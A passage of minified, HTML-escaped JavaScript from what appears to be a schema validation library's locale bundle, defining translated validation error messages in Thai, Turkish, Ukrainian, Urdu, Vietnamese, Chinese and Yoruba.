e={string:{unit:&quot;ตัวอักษร&quot;,verb:&quot;ควรมี&quot;},file:{unit:&quot;ไบต์&quot;,verb:&quot;ควรมี&quot;},array:{unit:&quot;รายการ&quot;,verb:&quot;ควรมี&quot;},set:{unit:&quot;รายการ&quot;,verb:&quot;ควรมี&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;ไม่ใช่ตัวเลข (NaN)&quot;:&quot;ตัวเลข&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;อาร์เรย์ (Array)&quot;;if(i===null)return&quot;ไม่มีค่า (null)&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ข้อมูลที่ป้อน&quot;,email:&quot;ที่อยู่อีเมล&quot;,url:&quot;URL&quot;,emoji:&quot;อิโมจิ&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;วันที่เวลาแบบ ISO&quot;,date:&quot;วันที่แบบ ISO&quot;,time:&quot;เวลาแบบ ISO&quot;,duration:&quot;ช่วงเวลาแบบ ISO&quot;,ipv4:&quot;ที่อยู่ IPv4&quot;,ipv6:&quot;ที่อยู่ IPv6&quot;,cidrv4:&quot;ช่วง IP แบบ IPv4&quot;,cidrv6:&quot;ช่วง IP แบบ IPv6&quot;,base64:&quot;ข้อความแบบ Base64&quot;,base64url:&quot;ข้อความแบบ Base64 สำหรับ URL&quot;,json_string:&quot;ข้อความแบบ JSON&quot;,e164:&quot;เบอร์โทรศัพท์ระหว่างประเทศ (E.164)&quot;,jwt:&quot;โทเคน JWT&quot;,template_literal:&quot;ข้อมูลที่ป้อน&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`ประเภทข้อมูลไม่ถูกต้อง: ควรเป็น ${i.expected} แต่ได้รับ ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`ค่าไม่ถูกต้อง: ควรเป็น ${xn(i.values[0])}`:`ตัวเลือกไม่ถูกต้อง: ควรเป็นหนึ่งใน ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;ไม่เกิน&quot;:&quot;น้อยกว่า&quot;,o=t(i.origin);return o?`เกินกำหนด: ${i.origin??&quot;ค่า&quot;} ควรมี${s} ${i.maximum.toString()} ${o.unit??&quot;รายการ&quot;}`:`เกินกำหนด: ${i.origin??&quot;ค่า&quot;} ควรมี${s} ${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;อย่างน้อย&quot;:&quot;มากกว่า&quot;,o=t(i.origin);return o?`น้อยกว่ากำหนด: ${i.origin} ควรมี${s} ${i.minimum.toString()} ${o.unit}`:`น้อยกว่ากำหนด: ${i.origin} ควรมี${s} ${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`รูปแบบไม่ถูกต้อง: ข้อความต้องขึ้นต้นด้วย &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`รูปแบบไม่ถูกต้อง: ข้อความต้องลงท้ายด้วย &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`รูปแบบไม่ถูกต้อง: ข้อความต้องมี &quot;${s.includes}&quot; อยู่ในข้อความ`:s.format===&quot;regex&quot;?`รูปแบบไม่ถูกต้อง: ต้องตรงกับรูปแบบที่กำหนด ${s.pattern}`:`รูปแบบไม่ถูกต้อง: ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`ตัวเลขไม่ถูกต้อง: ต้องเป็นจำนวนที่หารด้วย ${i.divisor} ได้ลงตัว`;case&quot;unrecognized_keys&quot;:return`พบคีย์ที่ไม่รู้จัก: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`คีย์ไม่ถูกต้องใน ${i.origin}`;case&quot;invalid_union&quot;:return&quot;ข้อมูลไม่ถูกต้อง: ไม่ตรงกับรูปแบบยูเนียนที่กำหนดไว้&quot;;case&quot;invalid_element&quot;:return`ข้อมูลไม่ถูกต้องใน ${i.origin}`;default:return&quot;ข้อมูลไม่ถูกต้อง&quot;}}};function wUe(){return{localeError:bUe()}}const EUe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;array&quot;;if(e===null)return&quot;null&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return t},CUe=()=&gt;{const e={string:{unit:&quot;karakter&quot;,verb:&quot;olmalı&quot;},file:{unit:&quot;bayt&quot;,verb:&quot;olmalı&quot;},array:{unit:&quot;öğe&quot;,verb:&quot;olmalı&quot;},set:{unit:&quot;öğe&quot;,verb:&quot;olmalı&quot;}};function t(n){return e[n]??null}const r={regex:&quot;girdi&quot;,email:&quot;e-posta adresi&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO tarih ve saat&quot;,date:&quot;ISO tarih&quot;,time:&quot;ISO saat&quot;,duration:&quot;ISO süre&quot;,ipv4:&quot;IPv4 adresi&quot;,ipv6:&quot;IPv6 adresi&quot;,cidrv4:&quot;IPv4 aralığı&quot;,cidrv6:&quot;IPv6 aralığı&quot;,base64:&quot;base64 ile şifrelenmiş metin&quot;,base64url:&quot;base64url ile şifrelenmiş metin&quot;,json_string:&quot;JSON dizesi&quot;,e164:&quot;E.164 sayısı&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;Şablon dizesi&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Geçersiz değer: beklenen ${n.expected}, alınan ${EUe(n.input)}`;case&quot;invalid_value&quot;:return n.values.length===1?`Geçersiz değer: beklenen ${xn(n.values[0])}`:`Geçersiz seçenek: aşağıdakilerden biri olmalı: ${hr(n.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`Çok büyük: beklenen ${n.origin??&quot;değer&quot;} ${i}${n.maximum.toString()} ${s.unit??&quot;öğe&quot;}`:`Çok büyük: beklenen ${n.origin??&quot;değer&quot;} ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`Çok küçük: beklenen ${n.origin} ${i}${n.minimum.toString()} ${s.unit}`:`Çok küçük: beklenen ${n.origin} ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`Geçersiz metin: &quot;${i.prefix}&quot; ile başlamalı`:i.format===&quot;ends_with&quot;?`Geçersiz metin: &quot;${i.suffix}&quot; ile bitmeli`:i.format===&quot;includes&quot;?`Geçersiz metin: &quot;${i.includes}&quot; içermeli`:i.format===&quot;regex&quot;?`Geçersiz metin: ${i.pattern} desenine uymalı`:`Geçersiz ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Geçersiz sayı: ${n.divisor} ile tam bölünebilmeli`;case&quot;unrecognized_keys&quot;:return`Tanınmayan anahtar${n.keys.length&gt;1?&quot;lar&quot;:&quot;&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`${n.origin} içinde geçersiz anahtar`;case&quot;invalid_union&quot;:return&quot;Geçersiz değer&quot;;case&quot;invalid_element&quot;:return`${n.origin} içinde geçersiz değer`;default:return&quot;Geçersiz değer&quot;}}};function IUe(){return{localeError:CUe()}}const jUe=()=&gt;{const e={string:{unit:&quot;символів&quot;,verb:&quot;матиме&quot;},file:{unit:&quot;байтів&quot;,verb:&quot;матиме&quot;},array:{unit:&quot;елементів&quot;,verb:&quot;матиме&quot;},set:{unit:&quot;елементів&quot;,verb:&quot;матиме&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;число&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;масив&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;вхідні дані&quot;,email:&quot;адреса електронної пошти&quot;,url:&quot;URL&quot;,emoji:&quot;емодзі&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;дата та час ISO&quot;,date:&quot;дата ISO&quot;,time:&quot;час ISO&quot;,duration:&quot;тривалість ISO&quot;,ipv4:&quot;адреса IPv4&quot;,ipv6:&quot;адреса IPv6&quot;,cidrv4:&quot;діапазон IPv4&quot;,cidrv6:&quot;діапазон IPv6&quot;,base64:&quot;рядок у кодуванні base64&quot;,base64url:&quot;рядок у кодуванні base64url&quot;,json_string:&quot;рядок JSON&quot;,e164:&quot;номер E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;вхідні дані&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Неправильні вхідні дані: очікується ${i.expected}, отримано ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Неправильні вхідні дані: очікується ${xn(i.values[0])}`:`Неправильна опція: очікується одне з ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Занадто велике: очікується, що ${i.origin??&quot;значення&quot;} ${o.verb} ${s}${i.maximum.toString()} ${o.unit??&quot;елементів&quot;}`:`Занадто велике: очікується, що ${i.origin??&quot;значення&quot;} буде ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Занадто мале: очікується, що ${i.origin} ${o.verb} ${s}${i.minimum.toString()} ${o.unit}`:`Занадто мале: очікується, що ${i.origin} буде ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Неправильний рядок: повинен починатися з &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Неправильний рядок: повинен закінчуватися на &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Неправильний рядок: повинен містити &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Неправильний рядок: повинен відповідати шаблону ${s.pattern}`:`Неправильний ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Неправильне число: повинно бути кратним ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Нерозпізнаний ключ${i.keys.length&gt;1?&quot;і&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Неправильний ключ у ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Неправильні вхідні дані&quot;;case&quot;invalid_element&quot;:return`Неправильне значення у ${i.origin}`;default:return&quot;Неправильні вхідні дані&quot;}}};function ree(){return{localeError:jUe()}}function NUe(){return ree()}const SUe=()=&gt;{const e={string:{unit:&quot;حروف&quot;,verb:&quot;ہونا&quot;},file:{unit:&quot;بائٹس&quot;,verb:&quot;ہونا&quot;},array:{unit:&quot;آئٹمز&quot;,verb:&quot;ہونا&quot;},set:{unit:&quot;آئٹمز&quot;,verb:&quot;ہونا&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;نمبر&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;آرے&quot;;if(i===null)return&quot;نل&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ان پٹ&quot;,email:&quot;ای میل ایڈریس&quot;,url:&quot;یو آر ایل&quot;,emoji:&quot;ایموجی&quot;,uuid:&quot;یو یو آئی ڈی&quot;,uuidv4:&quot;یو یو آئی ڈی وی 4&quot;,uuidv6:&quot;یو یو آئی ڈی وی 6&quot;,nanoid:&quot;نینو آئی ڈی&quot;,guid:&quot;جی یو آئی ڈی&quot;,cuid:&quot;سی یو آئی ڈی&quot;,cuid2:&quot;سی یو آئی ڈی 2&quot;,ulid:&quot;یو ایل آئی ڈی&quot;,xid:&quot;ایکس آئی ڈی&quot;,ksuid:&quot;کے ایس یو آئی ڈی&quot;,datetime:&quot;آئی ایس او ڈیٹ ٹائم&quot;,date:&quot;آئی ایس او تاریخ&quot;,time:&quot;آئی ایس او وقت&quot;,duration:&quot;آئی ایس او مدت&quot;,ipv4:&quot;آئی پی وی 4 ایڈریس&quot;,ipv6:&quot;آئی پی وی 6 ایڈریس&quot;,cidrv4:&quot;آئی پی وی 4 رینج&quot;,cidrv6:&quot;آئی پی وی 6 رینج&quot;,base64:&quot;بیس 64 ان کوڈڈ سٹرنگ&quot;,base64url:&quot;بیس 64 یو آر ایل ان کوڈڈ سٹرنگ&quot;,json_string:&quot;جے ایس او این سٹرنگ&quot;,e164:&quot;ای 164 نمبر&quot;,jwt:&quot;جے ڈبلیو ٹی&quot;,template_literal:&quot;ان پٹ&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`غلط ان پٹ: ${i.expected} متوقع تھا، ${r(i.input)} موصول ہوا`;case&quot;invalid_value&quot;:return i.values.length===1?`غلط ان پٹ: ${xn(i.values[0])} متوقع تھا`:`غلط آپشن: ${hr(i.values,&quot;|&quot;)} میں سے ایک متوقع تھا`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`بہت بڑا: ${i.origin??&quot;ویلیو&quot;} کے ${s}${i.maximum.toString()} ${o.unit??&quot;عناصر&quot;} ہونے متوقع تھے`:`بہت بڑا: ${i.origin??&quot;ویلیو&quot;} کا ${s}${i.maximum.toString()} ہونا متوقع تھا`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`بہت چھوٹا: ${i.origin} کے ${s}${i.minimum.toString()} ${o.unit} ہونے متوقع تھے`:`بہت چھوٹا: ${i.origin} کا ${s}${i.minimum.toString()} ہونا متوقع تھا`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`غلط سٹرنگ: &quot;${s.prefix}&quot; سے شروع ہونا چاہیے`:s.format===&quot;ends_with&quot;?`غلط سٹرنگ: &quot;${s.suffix}&quot; پر ختم ہونا چاہیے`:s.format===&quot;includes&quot;?`غلط سٹرنگ: &quot;${s.includes}&quot; شامل ہونا چاہیے`:s.format===&quot;regex&quot;?`غلط سٹرنگ: پیٹرن ${s.pattern} سے میچ ہونا چاہیے`:`غلط ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`غلط نمبر: ${i.divisor} کا مضاعف ہونا چاہیے`;case&quot;unrecognized_keys&quot;:return`غیر تسلیم شدہ کی${i.keys.length&gt;1?&quot;ز&quot;:&quot;&quot;}: ${hr(i.keys,&quot;، &quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} میں غلط کی`;case&quot;invalid_union&quot;:return&quot;غلط ان پٹ&quot;;case&quot;invalid_element&quot;:return`${i.origin} میں غلط ویلیو`;default:return&quot;غلط ان پٹ&quot;}}};function BUe(){return{localeError:SUe()}}const kUe=()=&gt;{const e={string:{unit:&quot;ký tự&quot;,verb:&quot;có&quot;},file:{unit:&quot;byte&quot;,verb:&quot;có&quot;},array:{unit:&quot;phần tử&quot;,verb:&quot;có&quot;},set:{unit:&quot;phần tử&quot;,verb:&quot;có&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;số&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;mảng&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;đầu vào&quot;,email:&quot;địa chỉ email&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ngày giờ ISO&quot;,date:&quot;ngày ISO&quot;,time:&quot;giờ ISO&quot;,duration:&quot;khoảng thời gian ISO&quot;,ipv4:&quot;địa chỉ IPv4&quot;,ipv6:&quot;địa chỉ IPv6&quot;,cidrv4:&quot;dải IPv4&quot;,cidrv6:&quot;dải IPv6&quot;,base64:&quot;chuỗi mã hóa base64&quot;,base64url:&quot;chuỗi mã hóa base64url&quot;,json_string:&quot;chuỗi JSON&quot;,e164:&quot;số E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;đầu vào&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Đầu vào không hợp lệ: mong đợi ${i.expected}, nhận được ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Đầu vào không hợp lệ: mong đợi ${xn(i.values[0])}`:`Tùy chọn không hợp lệ: mong đợi một trong các giá trị ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Quá lớn: mong đợi ${i.origin??&quot;giá trị&quot;} ${o.verb} ${s}${i.maximum.toString()} ${o.unit??&quot;phần tử&quot;}`:`Quá lớn: mong đợi ${i.origin??&quot;giá trị&quot;} ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Quá nhỏ: mong đợi ${i.origin} ${o.verb} ${s}${i.minimum.toString()} ${o.unit}`:`Quá nhỏ: mong đợi ${i.origin} ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Chuỗi không hợp lệ: phải bắt đầu bằng &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Chuỗi không hợp lệ: phải kết thúc bằng &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Chuỗi không hợp lệ: phải bao gồm &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Chuỗi không hợp lệ: phải khớp với mẫu ${s.pattern}`:`${n[s.format]??i.format} không hợp lệ`}case&quot;not_multiple_of&quot;:return`Số không hợp lệ: phải là bội số của ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Khóa không được nhận dạng: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Khóa không hợp lệ trong ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Đầu vào không hợp lệ&quot;;case&quot;invalid_element&quot;:return`Giá trị không hợp lệ trong ${i.origin}`;default:return&quot;Đầu vào không hợp lệ&quot;}}};function _Ue(){return{localeError:kUe()}}const DUe=()=&gt;{const e={string:{unit:&quot;字符&quot;,verb:&quot;包含&quot;},file:{unit:&quot;字节&quot;,verb:&quot;包含&quot;},array:{unit:&quot;项&quot;,verb:&quot;包含&quot;},set:{unit:&quot;项&quot;,verb:&quot;包含&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;非数字(NaN)&quot;:&quot;数字&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;数组&quot;;if(i===null)return&quot;空值(null)&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;输入&quot;,email:&quot;电子邮件&quot;,url:&quot;URL&quot;,emoji:&quot;表情符号&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO日期时间&quot;,date:&quot;ISO日期&quot;,time:&quot;ISO时间&quot;,duration:&quot;ISO时长&quot;,ipv4:&quot;IPv4地址&quot;,ipv6:&quot;IPv6地址&quot;,cidrv4:&quot;IPv4网段&quot;,cidrv6:&quot;IPv6网段&quot;,base64:&quot;base64编码字符串&quot;,base64url:&quot;base64url编码字符串&quot;,json_string:&quot;JSON字符串&quot;,e164:&quot;E.164号码&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;输入&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`无效输入：期望 ${i.expected}，实际接收 ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`无效输入：期望 ${xn(i.values[0])}`:`无效选项：期望以下之一 ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`数值过大：期望 ${i.origin??&quot;值&quot;} ${s}${i.maximum.toString()} ${o.unit??&quot;个元素&quot;}`:`数值过大：期望 ${i.origin??&quot;值&quot;} ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`数值过小：期望 ${i.origin} ${s}${i.minimum.toString()} ${o.unit}`:`数值过小：期望 ${i.origin} ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`无效字符串：必须以 &quot;${s.prefix}&quot; 开头`:s.format===&quot;ends_with&quot;?`无效字符串：必须以 &quot;${s.suffix}&quot; 结尾`:s.format===&quot;includes&quot;?`无效字符串：必须包含 &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`无效字符串：必须满足正则表达式 ${s.pattern}`:`无效${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`无效数字：必须是 ${i.divisor} 的倍数`;case&quot;unrecognized_keys&quot;:return`出现未知的键(key): ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} 中的键(key)无效`;case&quot;invalid_union&quot;:return&quot;无效输入&quot;;case&quot;invalid_element&quot;:return`${i.origin} 中包含无效值(value)`;default:return&quot;无效输入&quot;}}};function TUe(){return{localeError:DUe()}}const RUe=()=&gt;{const e={string:{unit:&quot;字元&quot;,verb:&quot;擁有&quot;},file:{unit:&quot;位元組&quot;,verb:&quot;擁有&quot;},array:{unit:&quot;項目&quot;,verb:&quot;擁有&quot;},set:{unit:&quot;項目&quot;,verb:&quot;擁有&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;輸入&quot;,email:&quot;郵件地址&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO 日期時間&quot;,date:&quot;ISO 日期&quot;,time:&quot;ISO 時間&quot;,duration:&quot;ISO 期間&quot;,ipv4:&quot;IPv4 位址&quot;,ipv6:&quot;IPv6 位址&quot;,cidrv4:&quot;IPv4 範圍&quot;,cidrv6:&quot;IPv6 範圍&quot;,base64:&quot;base64 編碼字串&quot;,base64url:&quot;base64url 編碼字串&quot;,json_string:&quot;JSON 字串&quot;,e164:&quot;E.164 數值&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;輸入&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`無效的輸入值：預期為 ${i.expected}，但收到 ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`無效的輸入值：預期為 ${xn(i.values[0])}`:`無效的選項：預期為以下其中之一 ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`數值過大：預期 ${i.origin??&quot;值&quot;} 應為 ${s}${i.maximum.toString()} ${o.unit??&quot;個元素&quot;}`:`數值過大：預期 ${i.origin??&quot;值&quot;} 應為 ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`數值過小：預期 ${i.origin} 應為 ${s}${i.minimum.toString()} ${o.unit}`:`數值過小：預期 ${i.origin} 應為 ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`無效的字串：必須以 &quot;${s.prefix}&quot; 開頭`:s.format===&quot;ends_with&quot;?`無效的字串：必須以 &quot;${s.suffix}&quot; 結尾`:s.format===&quot;includes&quot;?`無效的字串：必須包含 &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`無效的字串：必須符合格式 ${s.pattern}`:`無效的 ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`無效的數字：必須為 ${i.divisor} 的倍數`;case&quot;unrecognized_keys&quot;:return`無法識別的鍵值${i.keys.length&gt;1?&quot;們&quot;:&quot;&quot;}：${hr(i.keys,&quot;、&quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} 中有無效的鍵值`;case&quot;invalid_union&quot;:return&quot;無效的輸入值&quot;;case&quot;invalid_element&quot;:return`${i.origin} 中有無效的值`;default:return&quot;無效的輸入值&quot;}}};function PUe(){return{localeError:RUe()}}const QUe=()=&gt;{const e={string:{unit:&quot;àmi&quot;,verb:&quot;ní&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;ní&quot;},array:{unit:&quot;nkan&quot;,verb:&quot;ní&quot;},set:{unit:&quot;nkan&quot;,verb:&quot;ní&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;nọ́mbà&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;akopọ&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ẹ̀rọ ìbáwọlé&quot;,email:&quot;àdírẹ́sì ìmẹ́lì&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;àkókò ISO&quot;,date:&quot;ọjọ́ ISO&quot;,time:&quot;àkókò ISO&quot;,duration:&quot;àkókò tó pé ISO&quot;,ipv4:&quot;àdírẹ́sì IPv4&quot;,ipv6:&quot;àdírẹ́sì IPv6&quot;,cidrv4:&quot;àgbègbè IPv4&quot;,cidrv6:&quot;àgbègbè IPv6&quot;,base64:&quot;ọ̀rọ̀ tí a kọ́ ní base64&quot;,base64url:&quot;ọ̀rọ̀ base64url&quot;,json_string:&quot;ọ̀rọ̀ JSON&quot;,e164:&quot;nọ́mbà E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;ẹ̀rọ ìbáwọlé&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Ìbáwọlé aṣìṣe: a ní láti fi ${i.expected}, àmọ̀ a rí ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Ìbáwọlé aṣìṣe: a ní láti fi ${xn(i.values[0])}`:`Àṣàyàn aṣìṣe: yan ọ̀kan lára ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Tó pọ̀ jù: a ní láti jẹ́ pé ${i.origin??&quot;iye&quot;} ${o.verb} ${s}${i.maximum} ${o.unit}`:`Tó pọ̀ jù: a ní láti jẹ́ ${s}${i.maximum}`}case&quot;too_small&quot;:{const 